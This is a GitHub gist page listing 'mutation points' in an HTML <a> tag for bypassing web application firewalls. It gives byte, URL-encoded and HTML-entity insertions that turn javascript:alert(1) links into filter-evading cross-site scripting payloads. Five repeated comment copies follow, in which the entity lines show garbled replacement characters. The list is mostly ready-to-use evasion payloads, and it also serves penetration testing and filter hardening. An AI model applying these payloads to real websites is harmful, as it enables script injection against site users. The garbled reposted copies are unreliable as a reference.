Skip to content

Instantly share code, notes, and snippets.

@hackerscrolls

hackerscrolls/mutation_a.txt

Last active June 22, 2024 13:54
Show Gist options
  • Save hackerscrolls/5c0990dfc734eeb4a9ce8cf2ccdf6fba to your computer and use it in GitHub Desktop.
Save hackerscrolls/5c0990dfc734eeb4a9ce8cf2ccdf6fba to your computer and use it in GitHub Desktop.
Download ZIP
Mutation points in <a> tag for WAF bypass
Raw
mutation_a.txt
<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">
[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f
<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">
[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20
<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">
[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20
HTML Encoding:
&#x01; &#x02; &#x03; &#x04; &#x05; &#x06; &#x07; &#x08; &#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x0e; &#x0f; &#x10; &#x11; &#x12; &#x13; &#x14; &#x15; &#x16; &#x17; &#x18; &#x19; &#x1a; &#x1b; &#x1c; &#x1d; &#x1e; &#x1f; &#x20;
<a href="&Tab;javascript:alert(1)">
<a href="&#x001;javascript:alert(1)">
[5]
Bytes:
\x09 \x0a \x0d
HTML Encoding:
&#x09; &#x0a; &#x0d;
<a href="javas\x09cript:alert(1)">
<a href="javas&Tab;cript:alert(1)">
[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0
URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0
HTML Encode (bytes):
&#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x20; &#x21; &#x2b; &#x2d; &#x3b; &#x7e; &#xa0;
UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff
URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf
HTML Encode (UTF-8):
&#x1680; &#x2000; &#x2001; &#x2002; &#x2003; &#x2004; &#x2005; &#x2006; &#x2007; &#x2008; &#x2009; &#x200a; &#x2028; &#x2029; &#x202f; &#x205f; &#x3000; &#xfeff
<a href="javascript:~alert(1)">
<a href="javascript://%0d%0aalert(1)">
<a href="javascript:\x0calert(1)">
<a href="javascript:%ef%bb%bfalert(1)">
<a href="javascript:&#xfeff;alert(1)">
-----------------------------------------
We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE
\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR
Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8
@Naresh-11
Copy link

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20

<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">

[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

HTML Encoding:
� � � � � � � � � � � � � � � � � � � � � � � � � � �

[5]
Bytes:
\x09 \x0a \x0d

HTML Encoding:

[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

HTML Encode (bytes):
� ! + - ; ~  

UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

HTML Encode (UTF-8):
                        
 
     　 &#xfeff

We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE

\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR

Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8

@Naresh-11
Copy link

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20

<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">

[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

HTML Encoding:
� � � � � � � � � � � � � � � � � � � � � � � � � � �

[5]
Bytes:
\x09 \x0a \x0d

HTML Encoding:

[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

HTML Encode (bytes):
� ! + - ; ~  

UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

HTML Encode (UTF-8):
                        
 
     　 &#xfeff

We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE

\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR

Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8

@Naresh-11
Copy link

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20

<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">

[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

HTML Encoding:
� � � � � � � � � � � � � � � � � � � � � � � � � � �

[5]
Bytes:
\x09 \x0a \x0d

HTML Encoding:

[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

HTML Encode (bytes):
� ! + - ; ~  

UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

HTML Encode (UTF-8):
                        
 
     　 &#xfeff

We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE

\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR

Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8

@Naresh-11
Copy link

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20

<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">

[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

HTML Encoding:
� � � � � � � � � � � � � � � � � � � � � � � � � � �

[5]
Bytes:
\x09 \x0a \x0d

HTML Encoding:

[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

HTML Encode (bytes):
� ! + - ; ~  

UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

HTML Encode (UTF-8):
                        
 
     　 &#xfeff

We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE

\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR

Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8

@Naresh-11
Copy link

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20

<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">

[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

HTML Encoding:
� � � � � � � � � � � � � � � � � � � � � � � � � � �

[5]
Bytes:
\x09 \x0a \x0d

HTML Encoding:

[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

HTML Encode (bytes):
� ! + - ; ~  

UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

HTML Encode (UTF-8):
                        
 
     　 &#xfeff

We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE

\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR

Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8
dx

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment